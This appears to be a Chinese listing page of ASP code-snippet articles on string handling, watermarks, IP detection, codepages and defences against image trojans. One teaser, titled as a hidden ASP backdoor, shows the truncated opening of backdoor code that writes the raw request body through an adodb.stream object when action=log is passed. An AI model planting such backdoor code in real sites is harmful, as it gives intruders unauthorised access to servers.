-
asp获取远程网页的指定内容的实现代码
代码如下: 复制代码 代码如下: <% '用ASP获取远程目标网页指定内容,代码由广州网站建设http://www.jb51.net提供 On Error Resume Next Server.ScriptTimeOut=9999999 Function getHTTPPage(Pa...
作者:asdasdasd03-30 -
Asp中通过简单的例子理解下ByVal和ByRef的用法
文件名称:
作者:asdasdasd03-30
ByVal.asp
ByRef.asp
具体代码:
<%Sub TestMain()Dim A : A=5Call TestBy(A)Response.write AEnd SubSub TestBy(ByVal T)T=T+1End subcall TestMain()%>
<%Sub TestMain()Dim A... -
asp图片加水印的功能代码
复制代码 代码如下: '文字水印 Function WordWatermark(ImagePath) Dim Image Set Image= Server.CreateObject("Persits.Jpeg") ' 建立对象 Image.Open server.mappath(ImagePath) ' 图片所在位...
作者:asdasdasd03-30 -
ASP 支持中文的len(),left(),right()的函数代码
比如一个汉字也只会算一个字节,在排版时如果全是汉字,好说,反正没什么差别,但是如果被操作的字符串有汉字又有英文字母时,就不方便了,以下三个函数可以代替ASP自带的相关函数。 也有注...
作者:asdasdasd03-30 -
asp下以Json获取中国天气网天气的代码
百度了一下,找了点别人的方法改进了一下。 获取天气网址:http://www.weather.com.cn/html/weather/101210701.shtml这里是温州的,当然其他城市自己搜索一下,换一下ID。 由于是写入cookies记录...
作者:asdasdasd03-30 -
做了CDN加速的ASP网站获取用户真实IP程序
复制代码 代码如下: function checkip(checkstring)'用正则判断IP是否合法 dim re1 set re1=new RegExp re1.pattern="^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$" re1.global=false re1.Ig...
作者:asdasdasd03-30 -
ASP下检测图片木马的函数代码
木马原理:入侵者使用诸如ASP图片木马生成器之类的工具将一张正常的图片与一个ASP木马文件合并成一个图片文件(即将对网站有害的 ASP代码插在图片编码之后,虽然图片仍然可以正常显示,但是文件...
作者:asdasdasd03-30 -
asp中常用的字符串安全处理函数集合(过滤特殊字符等)
复制代码 代码如下:'===================================== '转换内容,防止意外 '===================================== Function Content_Encode(ByVal t0) IF IsNull(t0) Or Len(t0)=0 The...
作者:asdasdasd03-30 -
ASP trim,ltrim,rtrim 去前后空格 函数
这个主要应用于,获取用户输入的时候,防止用户不小心,多输入了一个空格,导致验证无法通过,多用于用户名跟密码的,好多情况下,大家复制的winrar的解压密码,都会默认多输入一个空格,所以这...
作者:asdasdasd03-30 -
Active Server Pages 错误 ''ASP 0201'' 修复方法
问题:
作者:asdasdasd03-30
1. 访问 ASP 页面时,出现以下错误:
Active Server Pages 错误 'ASP 0201' 错误无效的默认脚本语言 该应用程序地应的默认脚本语言无效2. 查看 HKEY_LOCAL_MACHINESOFTWARECla... -
asp中格式化HTML函数代码 SDCMS加强版
复制代码 代码如下:'============================== '格式化HTML,SDCMS加强版 '============================== Function Nohtml(ByVal t0) IF Len(t0)=0 Or IsNull(t0) Then Nohtml="" Exit ...
作者:asdasdasd03-30 -
asp 页面允许CACHE的方法
在ASP输出页面只是调出数据库里内容展现给用户看没有使用SESSION等动态属性,是可以CACHE的,以加快访问速度,具体操作方法如下: 在asp程序页面顶上端加上: <% @Language="VBScript" %> <% Re...
作者:asdasdasd03-30 -
ASP+ajax注册即时提示程序代码
1、注册时验证数据库用户名是否存在。 2、输入密码时提示密码强度和验证2次密码输入是否一样。 3、注册时验证数据库联系邮箱是否存在。 4、注册时验证用户输入的验证码和系统产生的验证码是否一...
作者:asdasdasd03-30 -
asp 数组 重复删除函数(脚本之家增强版)
因为要写个东西用到,所以百度了一下,居然有朋友乱写,而且比较多,都没有认真测试过,只对字符可以,但是对数字就不可以,而且通用性很差,需要修改才可以真正使用。没办法就自己写了,经过测...
作者:asdasdasd03-30 -
asp 在线备份与恢复sqlserver数据库的代码
asp在线备份sql server数据库: 1、备份sqlserver 复制代码 代码如下: <% SQL="backup database 数据库名 to disk='"&Server.MapPath("backup")&""&"backuptext.dat"&"'" set cnn=Server.creat...
作者:asdasdasd03-30 -
asp中判断服务器是否安装了某种组件的函数
判断服务器是否安装了某种asp组件,比较常用的代码如下:复制代码 代码如下: <% '功能:检查是否存在系统组件或组件是否安装成功 '参数:组件名 Function IsObjInstalled(strClassString) On Error...
作者:asdasdasd03-30 -
ASP防止图片木马上传的代码
ASP木马防御: 复制代码 代码如下: const adTypeBinary=1 dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8) dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D) dim png(3):png(0)=CByte(&H89...
作者:asdasdasd03-30 -
asp中文件与文件夹常用处理函数(文件后缀、创建文件等)
复制代码 代码如下:'===================================== '获得文件后缀 '===================================== Function Get_Filetxt(ByVal t0) Dim t1 IF Len(t0)<2 Or Instr(t0,".")=0 ...
作者:asdasdasd03-30 -
服务器XMLHTTP(Server XMLHTTP in ASP)基础知识
相对于 Ajax,服务端 XMLHTTP 就是在服务端使用 XMLHttpRequest 对象了。虽然说,在服务端使用异步请求是比较不方便的,但是做为可以服务端发送 HTTP 请求的组件,学习一下也是没有坏处的。 这里...
作者:asdasdasd03-30 -
ASP codepage 页面编码使用说明
指定的代码页特性无效。 codepage属性:是指出网页的代码页 如果制作的网页脚本与WEB服务端的默认代码页不同,则必须指明代码页: 复制代码 代码如下: codepage=936 简体中文GBK codepage=950 繁...
作者:asdasdasd03-30 -
asp空间判断jmail组件是否安装或支持的代码
首先,必须有错误继续进行的声明On Error Resume Next 然后尝试简历jmail实例: Dim JMail Set JMail=Server.CreateObject("JMail.Message") 对实例做出判断,如果组件没有安装成功,则没有创建...
作者:asdasdasd03-30 -
asp添加数据实现代码
举例: 如:在字段名处输入:username,password,email,telphone 注意:不同的字段名用英文逗号隔开,且不支持星号 表名处输入要查询的表名:如:table1 前台表单页面: 主要是注意input字段的name...
作者:asdasdasd03-30 -
asp中获取当前页面的地址与参数的函数代码
复制代码 代码如下:Function getCurrentUrl() On Error Resume Next Dim strTemp If LCase(Request.ServerVariables("HTTPS")) = "off" Then strTemp = "http://" Else strTemp = "https://" En...
作者:asdasdasd03-30 -
隐蔽的ASP后门 大家可以查看下
复制代码 代码如下: <%if request.QueryString("action")="log" then a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a)...
作者:asdasdasd03-30 -
网站开发防止中文乱码需要了解的codepage的重要性小结
相关的题外话:
作者:asdasdasd03-30
一、操作系统window系统内部都是unicode的。文件夹名,文件名等都是unicode的,任何语言系统下都能正常显示。
二、输入法:微软拼音输出的是Unicode的,智能ABC输出是简体中文的...